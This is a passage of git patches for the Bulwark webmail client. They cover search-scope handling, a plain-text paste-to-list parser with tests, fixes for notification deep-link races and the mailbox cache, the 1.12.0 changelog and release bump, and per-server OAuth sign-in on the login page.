isLoadingMore: false, selectedEmail: null, selectedEmailIds: new Set(), @@ -1689,11 +1698,15 @@ export const useEmailStore = create((set, get) => ({ selectMailbox: (mailboxId) => set(state => { const mailboxes = mailboxesInView(state); // The folder's default search scope follows it (Spam and Trash search - // themselves); a scope the user picked in the dropdown stays. + // themselves); a scope the user picked in the dropdown stays. The + // unread badge's scope follows any real folder. const scopeIsDefault = state.searchMailboxId === defaultSearchScopeFor(mailboxes, state.selectedMailbox); + const scopeFollows = state.searchScopeFollowsFolder && mailboxes.some(m => m.id === mailboxId); return { selectedMailbox: mailboxId, - ...(scopeIsDefault ? { searchMailboxId: defaultSearchScopeFor(mailboxes, mailboxId) } : {}), + ...(scopeFollows + ? { searchMailboxId: mailboxId } + : scopeIsDefault ? { searchMailboxId: defaultSearchScopeFor(mailboxes, mailboxId) } : {}), isLoadingMore: false, selectedEmail: null, selectedEmailIds: new Set(), @@ -3200,13 +3213,21 @@ export const useEmailStore = create((set, get) => ({ }, setSearchMailboxId: (mailboxId) => { - set({ searchMailboxId: mailboxId }); + set({ searchMailboxId: mailboxId, searchScopeFollowsFolder: false }); + }, + + // The unread badge filters its own folder. The default scope searches + // every folder of every account (#788, #1082), so it has to name the + // folder, and keep naming whichever folder is open. + scopeSearchToOpenFolder: () => { + set((state) => ({ searchMailboxId: state.selectedMailbox, searchScopeFollowsFolder: true })); }, clearSearchFilters: () => { set((state) => ({ searchFilters: { ...DEFAULT_SEARCH_FILTERS }, searchMailboxId: defaultSearchScopeFor(mailboxesInView(state), state.selectedMailbox), + searchScopeFollowsFolder: false, })); }, @@ -5189,6 +5210,7 @@ export const useEmailStore = create((set, get) => ({ searchQuery: isScheduledView ? "" : state.searchQuery, searchFilters: isScheduledView ? { ...DEFAULT_SEARCH_FILTERS } : state.searchFilters, searchMailboxId: isScheduledView ? "" : state.searchMailboxId, + searchScopeFollowsFolder: isScheduledView ? false : state.searchScopeFollowsFolder, }; }), clearPendingUndoSend: () => set({ pendingUndoSend: null }), From ac091460548cf99cbfab23debb23476f3a2a35bc Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Wed, 30 Sep 2026 20:00:01 +0200 Subject: [PATCH 154/358] feat: turn pasted dash and numbered lines into lists in the composer --- .../email/__tests__/plain-text-paste.test.ts | 74 ++++++++++ components/email/plain-text-paste.ts | 128 ++++++++++++++++-- 2 files changed, 193 insertions(+), 9 deletions(-) diff --git a/components/email/__tests__/plain-text-paste.test.ts b/components/email/__tests__/plain-text-paste.test.ts index 5a517ee5b..b47db7795 100644 --- a/components/email/__tests__/plain-text-paste.test.ts +++ b/components/email/__tests__/plain-text-paste.test.ts @@ -19,6 +19,8 @@ function paste(editor: Editor, text: string) { } describe('plain-text paste', () => { + // A paste that ends in a list leaves the empty paragraph the cursor was in + // below it, hence the trailing

in those expectations. it('keeps blank lines as empty paragraphs', () => { const editor = makeEditor(); paste(editor, 'Hi Joost,\n\nThanks for the write-up.\n\n\nPHASE 1'); @@ -43,6 +45,78 @@ describe('plain-text paste', () => { editor.destroy(); }); + it('turns dash items into a bullet list, dropping the blank lines between them', () => { + const editor = makeEditor(); + paste(editor, 'How it works:\n\n- One\n\n- Two\n\nAfter'); + expect(editor.getHTML()).toBe( + '

How it works:

' + + '
  • One

  • Two

' + + '

After

', + ); + editor.destroy(); + }); + + it('accepts * and • as bullet markers', () => { + const editor = makeEditor(); + paste(editor, '* One\n• Two'); + expect(editor.getHTML()).toBe('
  • One

  • Two

'); + editor.destroy(); + }); + + it('turns numbered items into an ordered list that keeps its first number', () => { + const editor = makeEditor(); + paste(editor, '1. One\n2) Two\n\nText\n\n3. Three\n4. Four'); + expect(editor.getHTML()).toBe( + '
  1. One

  2. Two

Text

' + + '
  1. Three

  2. Four

', + ); + editor.destroy(); + }); + + it('starts a new list where a numbered list switches to dashes', () => { + const editor = makeEditor(); + paste(editor, '1. One\n\n- Dash'); + expect(editor.getHTML()).toBe( + '
  1. One

  • Dash

', + ); + editor.destroy(); + }); + + it('keeps indented lines inside the item above them', () => { + const editor = makeEditor(); + paste(editor, '- Both drafts:\n filenode-14\n blobext-01\n\nAfter'); + expect(editor.getHTML()).toBe( + '
  • Both drafts:

    filenode-14

    blobext-01

' + + '

After

', + ); + editor.destroy(); + }); + + it('nests indented items', () => { + const editor = makeEditor(); + paste(editor, '- Outer\n - Inner\n- Next'); + expect(editor.getHTML()).toBe( + '
  • Outer

    • Inner

  • Next

', + ); + editor.destroy(); + }); + + it('keeps a hard-wrapped item whole', () => { + const editor = makeEditor(); + paste(editor, '- A long item that the\nsender wrapped\n- Next'); + expect(editor.getHTML()).toBe( + '
  • A long item that the

    sender wrapped

  • Next

', + ); + editor.destroy(); + }); + + it('leaves a signature delimiter and a dash inside a sentence alone', () => { + const editor = makeEditor(); + paste(editor, 'Costs - roughly\n-- \nLinus'); + expect(editor.getHTML()).toBe('

Costs - roughly

--

Linus

'); + editor.destroy(); + }); + it('copies back out as the same text', () => { const text = 'Hi Joost,\n\nThanks for the write-up.\n\n\nPHASE 1'; const editor = makeEditor(); diff --git a/components/email/plain-text-paste.ts b/components/email/plain-text-paste.ts index ded9db99a..50c7bf4e8 100644 --- a/components/email/plain-text-paste.ts +++ b/components/email/plain-text-paste.ts @@ -1,9 +1,124 @@ import { Extension } from "@tiptap/core"; -import { Fragment, Slice } from "@tiptap/pm/model"; +import { Fragment, Slice, type Mark, type Node, type Schema } from "@tiptap/pm/model"; import { Plugin, PluginKey } from "@tiptap/pm/state"; +type PlainBlock = + | { type: "line"; text: string } + | { type: "list"; ordered: boolean; start: number; items: PlainBlock[][] }; + +interface ItemMarker { + indent: number; + ordered: boolean; + start: number; + content: string; +} + +// "- ", "* ", "• ", "1. " or "1) " followed by the item text. +const ITEM_MARKER = /^([ \t]*)(?:[-*•]|(\d{1,3})[.)])[ \t]+(?=\S)/; + +const isBlank = (line: string) => line.trim() === ""; + +function indentOf(line: string): number { + const lead = /^[ \t]*/.exec(line)![0]; + return lead.replace(/\t/g, " ").length; +} + +function dedent(line: string, columns: number): string { + let i = 0; + for (let col = 0; i < line.length && col < columns; i++) { + if (line[i] === " ") col += 1; + else if (line[i] === "\t") col += 4; + else break; + } + return line.slice(i); +} + +function itemMarker(line: string): ItemMarker | null { + const m = ITEM_MARKER.exec(line); + if (!m) return null; + return { + indent: indentOf(m[1]), + ordered: m[2] !== undefined, + start: m[2] !== undefined ? Number(m[2]) : 1, + content: line.slice(m[0].length), + }; +} + +function parseLines(lines: string[]): PlainBlock[] { + const blocks: PlainBlock[] = []; + let i = 0; + while (i < lines.length) { + const marker = itemMarker(lines[i]); + if (marker) { + const items: PlainBlock[][] = []; + i = parseList(lines, i, marker, items); + blocks.push({ type: "list", ordered: marker.ordered, start: marker.start, items }); + } else { + blocks.push({ type: "line", text: isBlank(lines[i]) ? "" : lines[i] }); + i++; + } + } + return blocks; +} + /** - * Pastes plain text as one paragraph per line, blank lines included. + * Reads the items of one list starting at `i` into `items` and returns the + * index of the first line after it. An item takes the lines indented under + * it (continuations and nested lists) and, like Markdown, unindented lines + * that follow it directly, so hard-wrapped items stay whole. Blank lines + * between items are dropped; blank lines after the list are left for the + * caller. + */ +function parseList(lines: string[], i: number, first: ItemMarker, items: PlainBlock[][]): number { + let marker = first; + for (;;) { + const body: { text: string; indented: boolean }[] = []; + let j = i + 1; + let end = j; + let lazy = true; + while (j < lines.length) { + const line = lines[j]; + if (isBlank(line)) { + lazy = false; + j++; + continue; + } + const indented = indentOf(line) > marker.indent; + if (!indented && !(lazy && !itemMarker(line))) break; + for (let k = end; k < j; k++) body.push({ text: "", indented: false }); + body.push({ text: line, indented }); + end = ++j; + lazy = true; + } + + const shift = Math.min(...body.filter((l) => l.indented).map((l) => indentOf(l.text))); + const rest = body.map((l) => (l.indented ? dedent(l.text, shift) : l.text.trimStart())); + items.push([{ type: "line", text: marker.content }, ...parseLines(rest)]); + + let next = end; + while (next < lines.length && isBlank(lines[next])) next++; + const sibling = next < lines.length ? itemMarker(lines[next]) : null; + if (!sibling || sibling.ordered !== first.ordered || sibling.indent !== first.indent) return end; + i = next; + marker = sibling; + } +} + +function toNodes(blocks: PlainBlock[], schema: Schema, marks: readonly Mark[]): Node[] { + return blocks.map((block) => { + if (block.type === "line") { + return schema.nodes.paragraph.create(null, block.text ? schema.text(block.text, marks) : null); + } + const items = block.items.map((item) => schema.nodes.listItem.create(null, toNodes(item, schema, marks))); + return block.ordered + ? schema.nodes.orderedList.create({ start: block.start }, items) + : schema.nodes.bulletList.create(null, items); + }); +} + +/** + * Pastes plain text as one paragraph per line, blank lines included, and + * turns "- " / "1. " items into real lists. * * In the composer Enter starts a new paragraph and a blank line is an empty * paragraph. ProseMirror's default text paste splits on runs of newlines @@ -21,13 +136,8 @@ export const PlainTextPaste = Extension.create({ key: new PluginKey("plainTextPaste"), props: { clipboardTextParser: (text, $context) => { - const marks = $context.marks(); - const paragraphs = text - .split(/\r\n?|\n/) - .map((line) => - schema.nodes.paragraph.create(null, line ? schema.text(line, marks) : null), - ); - return Slice.maxOpen(Fragment.from(paragraphs)); + const blocks = parseLines(text.split(/\r\n?|\n/)); + return Slice.maxOpen(Fragment.from(toNodes(blocks, schema, $context.marks()))); }, }, }), From ca7d5e22dfaa29508ccf74ed4a9fcf9a02735963 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Wed, 30 Sep 2026 20:33:00 +0200 Subject: [PATCH 155/358] fix: keep a late notification link from pulling you out of what you opened #1131 A notification link now waits up to 20 s for its login to reconnect. If the user opened another folder or message, switched account or left Mail in the meantime, the late link used to switch account anyway and take them away from it. It now stays put. When the account switch was overtaken by another one or failed, a folder link was resolved against whichever folders were on screen, so an Inbox link could open the wrong account's Inbox. It now stops there. --- components/mail/mail-app.tsx | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/components/mail/mail-app.tsx b/components/mail/mail-app.tsx index 0fe5508e3..138384600 100644 --- a/components/mail/mail-app.tsx +++ b/components/mail/mail-app.tsx @@ -1390,6 +1390,8 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { // session and the mailbox list are up. Runs at most once per mount: after // this, the URL is an output of the view (see buildMailUrl), not an input. const deepLinkHandledRef = useRef(false); + const mailAppMountedRef = useRef(false); + useEffect(() => { mailAppMountedRef.current = true; return () => { mailAppMountedRef.current = false; }; }, []); const applyMailDeepLink = async (link: MailDeepLink, opts?: { onLoad?: boolean }) => { // The folder list before an account switch, if one happened: until the // new mailbox's folders arrive the store still holds these (or nothing). @@ -1403,6 +1405,9 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { : undefined); const switchesAccount = !!linkAccountId && linkAccountId !== useAuthStore.getState().activeAccountId; if (switchesAccount) { + const startedOn = useAuthStore.getState().activeAccountId; + const startedIn = useEmailStore.getState().selectedMailbox; + const startedWith = useEmailStore.getState().selectedEmail?.id ?? null; // The login may still be reconnecting - a tapped notification reopens // the app and the logins come back one at a time - so wait for it // rather than calling a late mailbox unavailable. @@ -1410,8 +1415,15 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { toast.error(t('deep_link.account_unavailable')); return; } + // The user moved on while the login reconnected: don't pull them away. + if (!mailAppMountedRef.current + || useAuthStore.getState().activeAccountId !== startedOn + || useEmailStore.getState().selectedMailbox !== startedIn + || (useEmailStore.getState().selectedEmail?.id ?? null) !== startedWith) return; switchedFrom = useEmailStore.getState().mailboxes; await switchAccount(linkAccountId); + // Overtaken or failed: the folders on screen are not the link's account's. + if (useAuthStore.getState().activeAccountId !== linkAccountId) return; } const activeClient = useAuthStore.getState().client; From 770fb2c84a0ca32638ccc9b95271a5d70f20ffed Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Wed, 30 Sep 2026 20:34:38 +0200 Subject: [PATCH 156/358] fix: resolve trash and archive in a background login's own folders #1132 The folder-list cache from #1132 published a reused list only when it was freshly fetched. When the Pro folder tree had loaded a login first, the unified build reused that list and never stored it under the login's JMAP id, so trash and archive for that login's mail were resolved against the active login's folders until it pushed a change. A reused list now fills any key nothing has published yet, without overwriting a live one. The Pro folder tree also marked a login as loaded before its first fetch finished and never retried a failure, which left that login's tree empty until an account switch. A failed load is now retried on the next run, as the identities hook already does. --- .../use-pro-multi-account-mailboxes.test.tsx | 12 ++++++++++ hooks/use-pro-multi-account-mailboxes.ts | 5 ++++- .../email-store-unified-mailbox-cache.test.ts | 12 +++++++++- stores/email-store.ts | 22 +++++++++++-------- 4 files changed, 40 insertions(+), 11 deletions(-) diff --git a/hooks/__tests__/use-pro-multi-account-mailboxes.test.tsx b/hooks/__tests__/use-pro-multi-account-mailboxes.test.tsx index 9201eb17e..5b6d9c669 100644 --- a/hooks/__tests__/use-pro-multi-account-mailboxes.test.tsx +++ b/hooks/__tests__/use-pro-multi-account-mailboxes.test.tsx @@ -71,6 +71,18 @@ describe('useProMultiAccountMailboxes', () => { expect(client('b').getMailboxes).toHaveBeenCalledTimes(2); }); + it('tries a login again when its first folder load failed', async () => { + vi.spyOn(console, 'error').mockImplementation(() => {}); + connected(['a', 'b']); + client('b').getMailboxes.mockRejectedValueOnce(new Error('offline')); + renderHook(() => useProMultiAccountMailboxes()); + await waitFor(() => expect(client('b').getMailboxes).toHaveBeenCalledTimes(1)); + await act(async () => { await new Promise((r) => setTimeout(r, 0)); }); + act(() => connected(['a', 'b', 'c'])); + await waitFor(() => expect(useEmailStore.getState().accountMailboxes.b).toBeDefined()); + expect(client('b').getMailboxes).toHaveBeenCalledTimes(2); + }); + it('stays idle outside the Pro shell', () => { useSettingsStore.setState({ proInterface: false } as never); connected(['a', 'b']); diff --git a/hooks/use-pro-multi-account-mailboxes.ts b/hooks/use-pro-multi-account-mailboxes.ts index c3ffd734a..96f38c954 100644 --- a/hooks/use-pro-multi-account-mailboxes.ts +++ b/hooks/use-pro-multi-account-mailboxes.ts @@ -53,7 +53,10 @@ export function useProMultiAccountMailboxes(): void { const client = getClientForAccount(id); if (!client || loaded.current.get(id) === client) continue; loaded.current.set(id, client); - void loadAccountMailboxes(client, id); + void loadAccountMailboxes(client, id).then((ok) => { + // Try a failed login again on the next run, as the identities hook does. + if (!ok && loaded.current.get(id) === client) loaded.current.delete(id); + }); } }, [proInterface, isEmbedded, connectedSignature, activeAccountId]); } diff --git a/stores/__tests__/email-store-unified-mailbox-cache.test.ts b/stores/__tests__/email-store-unified-mailbox-cache.test.ts index 6735757ed..0b7959bff 100644 --- a/stores/__tests__/email-store-unified-mailbox-cache.test.ts +++ b/stores/__tests__/email-store-unified-mailbox-cache.test.ts @@ -1,5 +1,5 @@ import { beforeEach, describe, expect, it, vi } from 'vitest'; -import { buildUnifiedAccountClients, invalidateUnifiedMailboxes, useEmailStore } from '../email-store'; +import { buildUnifiedAccountClients, invalidateUnifiedMailboxes, loadAccountMailboxes, useEmailStore } from '../email-store'; import { useAccountStore } from '../account-store'; import { useAuthStore } from '../auth-store'; import type { IJMAPClient } from '@/lib/jmap/client-interface'; @@ -109,6 +109,16 @@ describe('unified scope folder lists', () => { expect(useEmailStore.getState().accountMailboxes.a[0].unreadEmails).toBe(4); }); + it('publishes a list the Pro shell loaded under the JMAP id too', async () => { + const b = fakeClient('b'); + connect({ b }); + await loadAccountMailboxes(b as unknown as IJMAPClient, 'b'); + await buildUnifiedAccountClients(); + expect(b.getMailboxes).toHaveBeenCalledTimes(1); + // Actions on b's mail resolve its folders by JMAP id. + expect(useEmailStore.getState().accountMailboxes['jmap-b']?.[0].id).toBe('b-inbox'); + }); + it('retries a login whose fetch failed', async () => { const a = fakeClient('a'); a.getMailboxes.mockRejectedValueOnce(new Error('offline')); diff --git a/stores/email-store.ts b/stores/email-store.ts index c91b62655..2c89261ab 100644 --- a/stores/email-store.ts +++ b/stores/email-store.ts @@ -1065,15 +1065,17 @@ async function unifiedMailboxesFor( * the unified scope uses, so the two never fetch the same list twice and a * list already there is not fetched again until that login reports a change. */ -export async function loadAccountMailboxes(client: IJMAPClient, accountId: string): Promise { +export async function loadAccountMailboxes(client: IJMAPClient, accountId: string): Promise { try { const { mailboxes, fresh } = await unifiedMailboxesFor(client, false); - if (!fresh && useEmailStore.getState().accountMailboxes[accountId]) return; + if (!fresh && useEmailStore.getState().accountMailboxes[accountId]) return true; useEmailStore.setState((state) => ({ accountMailboxes: { ...state.accountMailboxes, [accountId]: mailboxes.slice() }, })); + return true; } catch (error) { console.error(`Failed to fetch mailboxes for account ${accountId}:`, error); + return false; } } @@ -1110,6 +1112,10 @@ export async function buildUnifiedAccountClients( // Skip the account on mailbox fetch failure. if (result.status !== 'fulfilled' || !result.value) continue; const { a, c, mailboxes, fresh } = result.value; + // A reused list never overwrites a live one, but fills a key nothing has published yet. + const publish = (key: string, list: Mailbox[]) => { + if (fresh || !useEmailStore.getState().accountMailboxes[key]) fetchedMailboxes[key] = list; + }; try { const ownMailboxes = includeGroup ? mailboxes.filter((m) => !m.isShared) @@ -1120,12 +1126,10 @@ export async function buildUnifiedAccountClients( // resolution branch-free against shared sources. const primaryJmapId = c.getAccountId(); built.push({ accountId: a.id, accountLabel: a.label || a.email, client: c, mailboxes: ownMailboxes, clientAccountId: a.id, jmapAccountId: primaryJmapId, isShared: false, crossIncludedMailboxIds: resolveCrossIncludedMailboxIds(a.id, ownMailboxes) }); - if (fresh) { - fetchedMailboxes[a.id] = ownMailboxes; - // Also cache under the JMAP id so `accountMailboxes[email.sourceAccountId]` - // resolves uniformly for personal and shared sources alike. - fetchedMailboxes[primaryJmapId] = ownMailboxes; - } + publish(a.id, ownMailboxes); + // Also cache under the JMAP id so `accountMailboxes[email.sourceAccountId]` + // resolves uniformly for personal and shared sources alike. + publish(primaryJmapId, ownMailboxes); if (includeGroup) { const sharedByOwner = new Map(); @@ -1149,7 +1153,7 @@ export async function buildUnifiedAccountClients( // Cache the owner's mailbox list keyed by its JMAP id so single-email // and batch actions can resolve role-based destinations (trash/archive) // in the owner account instead of falling back to the active account. - if (fresh) fetchedMailboxes[ownerId] = ownerMailboxes; + publish(ownerId, ownerMailboxes); } } } catch { From c9900d3df5f693d12c979a3b57105d4625503e4a Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Wed, 30 Sep 2026 21:27:25 +0200 Subject: [PATCH 157/358] chore: release 1.12.0 --- CHANGELOG.md | 92 +++++++++++++++++++++++++++++++++++++++++++++++ README.md | 2 +- VERSION | 2 +- package-lock.json | 4 +-- package.json | 2 +- 5 files changed, 97 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 21973190c..1b7777999 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,97 @@ # Changelog +## 1.12.0 (2026-09-30) + +1.12.0 lets you create filter rules straight from a message, offers the code from sign-in mail for one-click copying, and gives a phone linked with "Link Mobile App" a sign-in of its own, for every kind of account. Search now leaves Spam and Trash out by default, and emptying an ordinary folder moves its mail to the Trash. Browsers with many logins start up much faster. It also contains three security fixes, so please update. + +Thank you for your donations: + +- _You? [Become a sponsor!](https://github.com/sponsors/bulwarkmail)_ + +**One-time** + +- Anonymous + +**Monthly** + +- [@yerTools](https://github.com/yerTools) +- [@jsaathof](https://github.com/jsaathof) +- [@berkersal](https://github.com/berkersal) +- [@NABarnes](https://github.com/NABarnes) +- [@felixzieger](https://github.com/felixzieger) +- [@pr0ton11](https://github.com/pr0ton11) +- [@fpauser](https://github.com/fpauser) +- [@proxforge](https://github.com/proxforge) +- [@spss20](https://github.com/spss20) +- [@elgringoYan](https://github.com/elgringoYan) +- [@pauladams8](https://github.com/pauladams8) +- [@djpriest](https://github.com/djpriest) +- [@umakers](https://github.com/umakers) +- [@zplizzi](https://github.com/zplizzi) +- [@jeremiah](https://github.com/jeremiah) +- [@Theoretisch1337](https://github.com/Theoretisch1337) +- [@svandive](https://github.com/svandive) +- [@HiltMundell](https://github.com/HiltMundell) + +### Security + +- **Auth**: The password+TOTP login no longer sends the webmail's OAuth client secret to a mail server the user chose when custom JMAP endpoints are allowed. Only admin-configured servers get it +- **Auth**: The identity provider round trip for "Link Mobile App" can no longer sign the browser in as whichever account answered it, and a re-authentication the provider answered from an existing session instead of a fresh login is refused +- **Mail**: Opening a previewed SVG attachment in a new tab no longer runs the sender's script in the webmail origin + +### Features + +- **Mail**: A "Rules" entry in the message right-click menu creates filter rules from the message: always move mail from its sender, domain or mailing list, mark it read, tag it, or block the sender. A new rule can also run on the messages already in the folder, and it can be undone from the toast +- **Filters**: The rule editor suggests conditions from the message it was opened from (subject, recipients, List-Id, sender domain), and the new "is the address" and "has the domain" conditions match an address exactly +- **Mail**: Codes from sign-in and confirmation mail show as a copy chip in the message, and in the list for a day. "Show Verification Codes" in settings turns it off +- **Mail**: In the unified view, rows can be tinted with their account's color instead of showing the account dot, and tags this browser has no definition for, such as ones set by a server-side filter, get a color of their own instead of grey (#1052, thanks @lucamzanon) +- **Search**: The folder dropdown shows subfolders indented under their parents +- **Composer**: Pasted plain-text lines that start with "- ", "* ", "• ", "1. " or "1) " become real lists +- **Calendar**: The event popover finds the join link of Teams, Zoom, Meet, Webex, Jitsi, Whereby and GoTo meetings in the location or description, and the location opens in maps, with a copy button next to it (#1095, thanks @lucletoffe) +- **Server**: `LIBRETRANSLATE_API_KEY_FILE`, `BULWARK_JWT_AUTH_SECRET_FILE`, `BULWARK_STALWART_MASTER_USER_FILE` and `BULWARK_STALWART_MASTER_PASSWORD_FILE` read these secrets from files, and the admin config accepts `oauthClientSecretFile` and `sessionSecretFile` (#897, thanks @Cameo007) +- **Plugins**: `PLUGIN_SIGNING_KEY_FILE` points at an existing Ed25519 key for signing managed plugin bundles, for read-only secret mounts (#996, thanks @mulatta) +- **Releases**: Container images and release files come with a signed build provenance attestation, and the standalone tarballs get a `.sha256`. The README explains how to check them with `gh attestation verify` + +### Changes + +- **Search**: Search leaves out Spam and Trash unless "All folders" is picked in the folder dropdown. A search started in Spam or Trash searches that folder +- **Mail**: Emptying a folder other than Trash or Junk moves its mail to the Trash, unless deleted mail is set to be removed permanently +- **Mobile app**: "Link Mobile App" is offered for every account. Password and password+TOTP accounts confirm their password (and code) in the dialog. The phone gets a sign-in of its own, so signing out in the browser no longer signs it out, and a sign-in link to copy sits next to the QR code. Failed password attempts are limited per account +- **Calendar**: Events are drawn as solid blocks of their calendar's color; declined and cancelled events are outlined +- **UI**: Success and info toasts are plain cards; only errors and warnings are colored +- **Performance**: With many logins, the browser restores them four at a time and no longer reloads every login's folders, identities and push connections each time one of them connects (#1132, thanks @lucamzanon) +- **License**: An additional permission under section 7 of the AGPL allows distributing apps built from this code through app stores. It is provisional until every earlier contributor has agreed ([consent request](https://github.com/orgs/bulwarkmail/discussions/1113)) and applies in full to contributions made since 30 September 2026 +- **Docs**: Guidelines for AI-assisted contributions in the README and CONTRIBUTING.md + +### Fixes + +- **Mail**: Clicking a folder's unread count lists only that folder's unread mail, not unread mail from every folder of every account +- **Mail**: In "unread first" lists, a message you open stays in place until you open another +- **Mail**: The message list no longer flashes a reload right after the page opens +- **Mail**: On tablets, the message list comes back when the reading pane empties, for example after the open message is deleted or moved +- **Mail**: Dividers between rows no longer disappear at 125% or 150% display scaling +- **Mail**: The unread dot is centred on the sender avatar +- **Mail**: Attachments declared with a type the browser cannot show, such as `application/x-as400attachment` from IBM i systems, `application/x-pdf` or a catch-all type, preview according to their file name (#1127, thanks @dealerweb) +- **Send**: Recipients the server refuses at send are reported. When it refuses all of them, the message stays open as not sent; otherwise a warning names the refused ones (#1123) +- **Composer**: The message body stays reachable in short reading panes, such as the bottom reading pane on a laptop (#1114) +- **Composer**: Pasted plain text keeps its blank lines +- **Push**: A notification link waits for a login that is still reconnecting instead of reporting the account as signed out, opens the folder of the right account, and no longer pulls you away from something you opened in the meantime (#1131, thanks @lucamzanon) +- **Push**: A browser subscribed with another VAPID key resubscribes on its own, and Firefox can turn push on again when it cannot read its old subscription (#1121, thanks @shukiv) +- **Calendar**: Dragged events no longer disappear: all-day events moved in the month view keep their start, and occurrences of recurring events with a UTC start, as in Google Calendar exports, no longer shift by the time-zone offset (#1119) +- **Calendar**: A failed calendar fetch no longer hides every calendar or leaves only the birthday calendar selected +- **Calendar**: The all-day area of the week view is sized from the visible week, stacks each day's tasks under its all-day events, and collapses to three rows with a toggle (#1122, thanks @sanitz) +- **Calendar**: The Save button shows while an event is saving, and a save refused for its length says so (#921, thanks @texchi2) +- **Calendar**: Invitations no longer carry blank participant names or an empty description (#748, thanks @lucletoffe) +- **Files**: Files shared with you open and save in the office editor (#1094) +- **Files**: Office editing works behind a reverse proxy at a sub-path (`NEXT_PUBLIC_BASE_PATH`) (#1101, thanks @dealerweb) +- **Accounts**: Adding a sixth account through server-side SSO no longer overwrites the first account's sign-in +- **Mobile app**: The app's "Sign in via webmail" keeps working past the first token expiry when the webmail uses a confidential OAuth client or an identity provider on another host +- **Admin**: Admin sign-in works over plain HTTP. The admin cookie's Secure flag follows the request, or `COOKIE_SECURE` when it is set (#1063, thanks @lucamzanon) +- **Admin**: The OAuth scope fields show the actual default scopes, which do not include `offline_access` (#1126) +- **Lite**: SSO sessions survive a page reload with identity providers such as Rauthy that refuse an early token refresh (#552) +- **UI**: The app retries loading its configuration after a timeout or a failed request instead of staying broken (#1112, thanks @theLucius7) +- **Docker**: The image builds from a remote Git context (#1118) + ## 1.11.2 (2026-09-26) 1.11.2 fixes the Docker image and the standalone tarballs of 1.11.1, which did not start. It contains all the security fixes from 1.11.1, so please update. diff --git a/README.md b/README.md index e0dbf9368..930072229 100644 --- a/README.md +++ b/README.md @@ -84,7 +84,7 @@ Then open `http://localhost:3000`. A setup wizard asks for your Stalwart server [Updating](https://bulwarkmail.org/docs/deployment/updating) explains how to move to a new version. -Container images and release files published after 1.11.2 come with a signed build provenance attestation. To check that one was built by this repository's workflows, run `gh attestation verify oci://ghcr.io/bulwarkmail/webmail: --owner bulwarkmail` for an image, or `gh attestation verify --repo bulwarkmail/webmail` for a downloaded file. Release files also have a `.sha256` next to them. +Container images and release files from 1.12.0 on come with a signed build provenance attestation. To check that one was built by this repository's workflows, run `gh attestation verify oci://ghcr.io/bulwarkmail/webmail: --owner bulwarkmail` for an image, or `gh attestation verify --repo bulwarkmail/webmail` for a downloaded file. Release files also have a `.sha256` next to them. ## Configuration diff --git a/VERSION b/VERSION index ca7176690..0eed1a29e 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -1.11.2 +1.12.0 diff --git a/package-lock.json b/package-lock.json index 6efc7f095..1c7db9fdf 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "bulwark-webmail", - "version": "1.11.2", + "version": "1.12.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "bulwark-webmail", - "version": "1.11.2", + "version": "1.12.0", "license": "AGPL-3.0-only", "dependencies": { "@dnd-kit/core": "^6.3.1", diff --git a/package.json b/package.json index ef7d04a02..13c92681a 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "bulwark-webmail", - "version": "1.11.2", + "version": "1.12.0", "description": "Bulwark Webmail - a modern webmail client built for Stalwart Mail Server", "author": "Bulwark Mail ", "license": "AGPL-3.0-only", From 1fac44832a3bb47962e291174b36c4558971232e Mon Sep 17 00:00:00 2001 From: lucamzanon Date: Wed, 30 Sep 2026 19:35:40 +0200 Subject: [PATCH 158/358] feat(auth): let one server in the list sign in with OAuth on its own A server entry that names its own OAuth client now offers the OAuth button even while OAuth is off globally, so a Gmail bridge can sign in with Google next to a server that uses passwords. The entry can also name the button ("Sign in with Google"); the generic SSO label stays the default. --- app/(main)/[locale]/login/page.tsx | 11 +++++---- .../admin/_tabs/_jmap-servers-section.tsx | 19 +++++++++++++++ .../jmap-servers-oauth-label.test.ts | 24 +++++++++++++++++++ lib/admin/jmap-servers.ts | 6 +++++ 4 files changed, 56 insertions(+), 4 deletions(-) create mode 100644 lib/admin/__tests__/jmap-servers-oauth-label.test.ts diff --git a/app/(main)/[locale]/login/page.tsx b/app/(main)/[locale]/login/page.tsx index 80958818a..32c2aabc6 100644 --- a/app/(main)/[locale]/login/page.tsx +++ b/app/(main)/[locale]/login/page.tsx @@ -188,6 +188,9 @@ function LoginPageContent() { const effectiveOauthIssuerUrl = selectedServer ? selectedServer.oauth?.issuerUrl || selectedServer.url : globalOauthIssuerUrl; + // A server entry that names its own OAuth client signs in with OAuth even + // while OAuth is off globally: a Gmail bridge next to a password server. + const serverOauthEnabled = oauthEnabled || !!selectedServer?.oauth?.clientId; const [totpCode, setTotpCode] = useState(""); const [showTotpField, setShowTotpField] = useState(false); const [rememberMe, setRememberMe] = useState(false); @@ -418,7 +421,7 @@ function LoginPageContent() { }, [serverUrl]); useEffect(() => { - if (!oauthEnabled || !serverUrl) return; + if (!serverOauthEnabled || !serverUrl) return; setOauthDiscoveryDone(false); setOauthMetadata(null); const controller = new AbortController(); @@ -441,7 +444,7 @@ function LoginPageContent() { setOauthDiscoveryDone(true); }); return () => controller.abort(); - }, [oauthEnabled, serverUrl, effectiveOauthIssuerUrl, selectedServer?.id]); + }, [serverOauthEnabled, serverUrl, effectiveOauthIssuerUrl, selectedServer?.id]); // Auto-SSO: when enabled with OAUTH_ONLY, skip the login page entirely const ssoError = searchParams.get("sso_error"); @@ -1454,12 +1457,12 @@ function LoginPageContent() { ) : ( )} - {t("sign_in_sso")} + {selectedServer?.oauth?.buttonLabel || t("sign_in_sso")} )} - {((oauthEnabled && oauthDiscoveryDone && !oauthMetadata) || liteOAuthFailed) && ( + {((serverOauthEnabled && 